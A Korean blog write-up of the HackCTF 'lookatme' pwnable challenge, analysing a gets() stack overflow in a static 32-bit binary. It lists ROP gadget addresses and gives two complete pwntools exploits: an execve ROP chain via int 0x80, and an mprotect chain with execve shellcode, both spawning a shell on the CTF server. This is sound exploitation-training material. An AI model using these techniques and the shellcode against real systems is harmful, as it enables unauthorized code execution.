check
- 32bit
- NX
- Partial RELRO
- statically linked library >> 많은 함수들이 바이너리 파일 내에 저장되어 있고 plt와 got 주소가 따로 분리되어 있지않다.
Analyze
pseudo code
- 0x18byte만큼 할당받은 스택 버퍼 v1에 gets함수를 통해 값을 입력받는다. 이 때 크기 제한이 없기 때문에 오버플로우가 발생할 수 있다.
functions
system 함수와 "/bin/sh" 문자열이 현재 바이너리에 포함되어 있지 않다 + statically linked library
>> system함수 호출이 아닌 다른 방식으로 exploit 할 수 있어야한다! ex. mprotect / execve(int 0x80)
>> "/bin/sh"문자열을 바이너리 내에 저장해야한다. - gets함수를 호출해 "/bin/sh\x00"을 저장할 수 있는 ROP chain을 하나 만들어야한다!
mprotect 함수의 주소는 0x806e0f0
gadgets
먼저, execve() 함수는 존재하지 않았지만, execve()를 호출하는 것과 같은 효과를 주는 int 0x80 가젯을 찾아보려고 한다.
int 0x80 ; ret ; 가젯은 존재한다. >> 0x806f630
pop ebx ; ret ; 가젯 >> 0x80481c9 (연속으로 ebx, ecx, edx를 pop 하는 가젯을 이왕이면 찾으려고 했는데 없었다..ㅠ)
pop ecx ; ret ; 가젯 >> 0x80de955
pop edx ; ret ; 가젯 >> 0x806f02a
pop eax ; ret ; 가젯 >> 0x80b81c6
writable Area
bss 영역: 0x80eaf80 >> w 권한이 있는 영역에 존재하기 때문에 bss영역에 "/bin/sh" 문자열을 저장하고 사용한다.
Exploit(1) - execve gadget(int 0x80)
execve 함수에 전달해야하는 인자들이다. 다른 함수 없이 아래의 가젯들만을 이용하여 쉘을 따는 방법이다.
eax | 0xb |
edx | null |
ecx | null |
ebx | binsh의 위치 |
execve | int 0x80 가젯 |
gets 함수를 이용해 "/bin/sh\x00"을 저장할 때는 gets함수를 호출하고 가젯을 이용해 writableArea를 넣어준 후, 사용자로부터 입력받을 수 있도록 한다.
from pwn import *
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
elf = ELF("./lookatme")
libc = elf.libc
gets = 0x804f120
int80 = 0x806f630
pa = 0x80b81c6
pb = 0x80481c9
pc = 0x80de955
pd = 0x806f02a
writable = 0x80eaf80
binsh = "/bin/sh\x00"
pl = "A"*(0x18 + 4)
pl += p32(gets)
pl += p32(pa)
pl += p32(writable)
pl += p32(pa)
pl += p32(0xb)
pl += p32(pb)
pl += p32(writable)
pl += p32(pc)
pl += p32(0)
pl += p32(pd)
pl += p32(0)
pl += p32(int80)
p.sendlineafter("\n",pl)
p.sendline(binsh)
p.interactive()
Exploit(2) - mprotect
mprotect 함수는 특정 메모리 영역의 권한을 바꿔주는 함수로, NX가 걸려있는 상황에서도 쉘코드를 저장해 실행시킬 수 있도록 하는 함수이다. addr로 지정해준 주소에서부터 len길이 만큼의 영역까지를 prot 권한으로 바꾼다.
▷ mprotect 함수를 이용해 ROP 기법을 사용하는 내용에 대한 lazenca 정리
addr에는 page의 경계에 맞춰 0x1000의 단위로 지정할 수 있게되어있으므로 쉘코드를 저장할 영역의 앞부분중 가장 가까운 페이지 경계를 addr로 넣는다.
또한 ASLR이 설정되어 있기 때문에 주소값이 계속 바뀌는 stack 영역보다는 고정 주소(bss)를 이용하는 것이 좋다.
from pwn import *
#context.log_level = 'debug'
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
elf = ELF("./lookatme")
gets = elf.symbols['gets']
mprotect = elf.symbols['mprotect']
#gets = 0x804f120
#mprotect = 0x806e0f0
pa = 0x80b81c6
pppr = 0x8091e77
sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
writable = 0x80eaf80
addr = 0x80ea000
pl = "A"*(0x18 + 4)
pl += p32(gets)
pl += p32(pa)
pl += p32(writable)
pl += p32(mprotect)
pl += p32(pppr)
pl += p32(addr)
pl += p32(8000)
pl += p32(7)
pl += p32(writable)
p.sendlineafter("\n",pl)
p.sendline(sh)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Pwning (재) (0) | 2021.03.08 |
---|---|
[HackCTF] Gift (0) | 2021.03.06 |
[HackCTF] RTL core (0) | 2021.02.14 |
[HackCTF] Random Key (0) | 2021.02.13 |
[HackCTF] 1996 (0) | 2021.02.13 |